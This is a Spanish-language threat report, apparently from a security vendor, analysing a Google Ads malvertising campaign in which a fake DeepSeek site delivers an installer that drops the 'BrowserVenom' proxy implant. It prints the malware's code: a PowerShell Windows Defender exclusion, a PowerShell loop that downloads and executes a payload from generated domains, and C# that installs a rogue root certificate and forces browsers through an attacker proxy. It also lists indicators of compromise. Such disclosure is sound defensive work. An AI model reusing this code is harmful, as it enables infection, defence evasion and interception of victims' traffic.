
Introducción
DeepSeek-R1 es uno de los modelos de lenguaje más populares en este momento. Los usuarios de todos los niveles de experiencia buscan sitios web de chatbots en motores de búsqueda, y los actores malintencionados han comenzado a abusar de la popularidad de este LLM. En ocasiones anteriores informamos sobre ataques con un malware que se propagaba bajo la apariencia de DeepSeek para atraer a las víctimas. Los dominios maliciosos se distribuyen a través de publicaciones en X y la navegación general en Internet.
Pero últimamente los actores de amenazas han empezado a usar publicidad maliciosa para aprovecharse de la demanda de chatbots. Por ejemplo, hace poco hemos descubierto una nueva campaña maliciosa que distribuye malware desconocido a través de un instalador falso del entorno DeepSeek-R1 LLM. El malware se entrega a través de un sitio de phishing que pretende ser la página oficial de inicio de DeepSeek, y que fue promocionado en los resultados de búsqueda mediante Google Ads. El objetivo final de los ataques es instalar “BrowserVenom”, un implante que obliga a todos los navegadores a usar un proxy controlado por los actores de la amenaza, permitiéndoles así modificar el tráfico de red de la víctima y recopilar sus datos.
Un cebo para el phishing
La infección se llevó a cabo desde un sitio de phishing ubicado en https[:]//deepseek-platform[.]com
. Los atacantes difundían esta amenaza mediante publicidad maliciosa que aparecía entre los primeros resultados cuando un usuario buscaba “deepseek r1”, aprovechando el auge causado por la popularidad de este modelo. Cuando el usuario llega al sitio, se realiza una verificación para identificar el sistema operativo de la víctima. Si el usuario está utilizando Windows, se le mostrará un solo botón activo con el texto “Probar ahora”. También hemos visto diseños para otros sistemas operativos con ligeros cambios en la redacción, pero todos engañan al usuario para que pulsen en el botón.
Cuando el usuario hace clic en este botón, se lo remite a una pantalla CAPTCHA anti-bot. El código para esta pantalla es un JavaScript ofuscado que realiza una serie de verificaciones para asegurarse de que el usuario no sea un bot. Encontramos otros scripts en el mismo dominio malicioso, lo que indica que esta no es la primera iteración de tales campañas. Después de resolver el CAPTCHA, se dirige al usuario a la ruta de URL proxy1.php
con un botón de “Descargar ahora”. Al hacer clic, se descarga el instalador malicioso llamado AI_Launcher_1.21.exe
desde la siguiente URL: https://r1deepseek-ai[.]com/gg/cc/AI_Launcher_1.21.exe
.
Examinamos el código fuente de los sitios web de phishing y distribución y descubrimos comentarios en ruso sobre la funcionalidad de los sitios, lo que nos permite concluir que fueron desarrollados por actores de amenazas de habla rusa.
Implante de malware
El instalador malicioso AI_Launcher_1.21.exe
lanza el malware en la siguiente etapa. Una vez que se ejecuta este binario, se abre una ventana que finge ser un CAPTCHA de Cloudflare.
Este es otro CAPTCHA falso que se carga desde https[:]//casoredkff[.]pro/captcha
. Después de marcar la casilla, la URL cambia a /success
, y se le muestra al usuario la siguiente pantalla, con opciones para descargar e instalar Ollama y LM Studio.
Al pulsar en cualquiera de los botones de “Instalar”, se descarga y ejecuta el instalador correspondiente. Pero con un detalle importante: al mismo tiempo se ejecuta otra función, MLInstaller.Runner.Run()
. Esta función activa la parte infecciosa del implante.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
private async void lmBtn_Click(object sender, EventArgs e) { try { MainFrm.<>c__DisplayClass5_0 CS$<>8__locals1 = new MainFrm.<>c__DisplayClass5_0(); this.lmBtn.Text = "Downloading.."; this.lmBtn.Enabled = false; Action action; if ((action = MainFrm.<>O.<0>__Run) == null) { action = (MainFrm.<>O.<0>__Run = new Action(Runner.Run)); # <--- malware initialization } Task.Run(action); CS$<>8__locals1.ollamaPath = Path.Combine(Path.GetTempPath(), "LM-Studio-0.3.9-6-x64.exe"); [...] |
Cuando la función MLInstaller.Runner.Run()
se ejecuta en un hilo separado en la máquina, el proceso de infección se lleva a cabo en tres etapas.
- Primero, la función maliciosa intenta excluir la carpeta del usuario de la protección de Windows Defender. Para hacerlo, descifra un búfer utilizando el algoritmo de cifrado AES.
La información de cifrado AES está especificada en el implante:
Tipo AES-256-CBC Llave 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 IV 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 El búfer descifrado contiene comando de PowerShell que realiza la exclusión cuando es ejecutado por la función maliciosa.
1powershell.exe -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath $USERPROFILECabe señalar que este comando necesita privilegios de administrador y fallará en caso de que el usuario no los tenga.
- Después, se ejecuta otro comando de PowerShell que descarga un ejecutable desde un dominio malicioso, cuyo nombre se deriva mediante un algoritmo de generación de dominios (DGA) simple. El ejecutable descargado se guarda como
%USERPROFILE%\Music\1.exe
en el perfil del usuario y luego se ejecuta.1234567891011121314151617181920$ap = "/api/getFile?fn=lai.exe";$b = $null;foreach($i in 0..1000000) {$s = if ($i - gt 0) {$i} else {""};$d = "https://app-updater$s.app$ap";$b = (New - Object Net.WebClient).DownloadData($d);if ($b) {break}};if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() - match"^v2") {[IO.File]::WriteAllBytes("$env:USERPROFILE\Music\1.exe", $b);Start - Process "$env:USERPROFILE\Music\1.exe" - NoNewWindow} else {([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)}En el momento de nuestra investigación, solo existía un dominio:
app-updater1[.]app
. Hasta ahora, no hemos podido descargar ningún binario de este dominio, pero sospechamos que podría albergar otro implante malicioso, como una puerta trasera para permitir un acceso posterior. Por el momento, hemos podido obtener varios nombres de dominio maliciosos relacionados con esta amenaza, que se destacan en la sección de IoCs. - Luego, la función
MLInstaller.Runner.Run()
localiza un búfer encriptado, ubicado en la clase y variableConfigFiles.load
del búfer del instalador malicioso. El ejecutable se descifra usando el mismo algoritmo AES, y luego se carga y ejecuta en la memoria.
Implante cargado: BrowserVenom
Le dimos al implante de la siguiente etapa el nombre de BrowserVenom, porque fuerza a todos los navegadores a usar un proxy manejado por los atacantes, permitiéndoles espiar la navegación de la víctima y acceder a información confidencial al descifrar el tráfico.
Primero, BrowserVenom verifica si el usuario actual tiene derechos de administrador. Si no los tiene, se cierra. Si los tiene, instala un certificado creado por el actor de la amenaza e incrustado en el código.
1 2 3 4 5 6 7 8 9 |
[...] X509Certificate2 x509Certificate = new X509Certificate2(Resources.cert); if (RightsChecker.IsProcessRunningAsAdministrator()) { StoreLocation storeLocation = StoreLocation.LocalMachine; X509Store x509Store = new X509Store(StoreName.Root, storeLocation); x509Store.Open(OpenFlags.ReadWrite); x509Store.Add(x509Certificate); [...] |
Luego, el malware agrega una dirección de servidor proxy especificada en el código a todos los navegadores que están instalados y en funcionamiento. Para las instancias basadas en Chromium (es decir, Chrome o Microsoft Edge), agrega el argumento proxy-server
y modifica todos los archivos LNK existentes, mientras que para los navegadores basados en Gecko (es decir, Mozilla o Tor Browser) el implante modifica las preferencias del perfil del usuario actual.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
[...] new ChromeModifier(new string[] { "chrome.exe", "msedge.exe", "opera.exe", "brave.exe", "vivaldi.exe", "browser.exe", "torch.exe", "dragon.exe", "iron.exe", "epic.exe", "blisk.exe", "colibri.exe", "centbrowser.exe", "maxthon.exe", "coccoc.exe", "slimjet.exe", "urbrowser.exe", "kiwi.exe" }, string.Concat(new string[] { "--proxy-server=\"", ProfileSettings.Host, ":", ProfileSettings.Port, "\"" })).ProcessShortcuts(); GeckoModifier.Modify(); [...] |
Los ajustes usados en este momento por este malware son los siguientes:
1 2 3 4 |
public static readonly string Host = "141.105.130[.]106"; public static readonly string Port = "37121"; public static readonly string ID = "LauncherLM"; public static string HWID = ChromeModifier.RandomString(5); |
Las variables Host
y Port
son las que se utilizan como configuraciones de proxy, y el ID
y HWID
se añaden al User-Agent del navegador como una posible forma de rastrear el tráfico de red de la víctima.
Conclusión
Como hemos venido informando, DeepSeek ha sido un gancho perfecto para que los atacantes atraigan a nuevas víctimas. Al utilizar nuevas herramientas maliciosas como BrowserVenom, los atacantes complican aún más la tarea de identificar y detectar sus actividades. Junto con el uso de Google Ads para llegar a más víctimas y darle mayor credibilidad, esto hace que las campañas de este tipo sean aún más efectivas.
Durante nuestra investigación, identificamos múltiples infecciones en Brasil, Cuba, México, India, Nepal, Sudáfrica y Egipto. La naturaleza del “cebo” y la distribución geográfica de los ataques nos llevan a concluir que campañas como esta siguen siendo una amenaza global para los usuarios desprevenidos.
Para protegerse de estos ataques, recomendamos a los usuarios comprobar que los resultados de búsqueda sean sitios oficiales, revisando sus URLs y certificados para asegurarse de que descargan el software legítimo desde la página correcta. Tomar estas precauciones puede ayudar a prevenir infecciones causadas por este tipo de amenazas.
Los productos de Kaspersky detectan esta amenaza como HEUR:Trojan.Win32.Generic
y Trojan.Win32.SelfDel.iwcv
.
Indicadores de compromiso
Hashes
d435a9a303a27c98d4e7afa157ab47de AI_Launcher_1.21.exe
dc08e0a005d64cc9e5b2fdd201f97fd6
Dominios e IPs
deepseek-platform[.]com | Sitio principal de phishing |
r1deepseek-ai[.]com | Servidor de distribución |
app-updater1[.]app | Servidores de la Etapa #2 |
app-updater2[.]app | |
app-updater[.]app | |
141.105.130[.]106 | Proxy malicioso |
Tendencia tóxica: otro malware se hace pasar por DeepSeek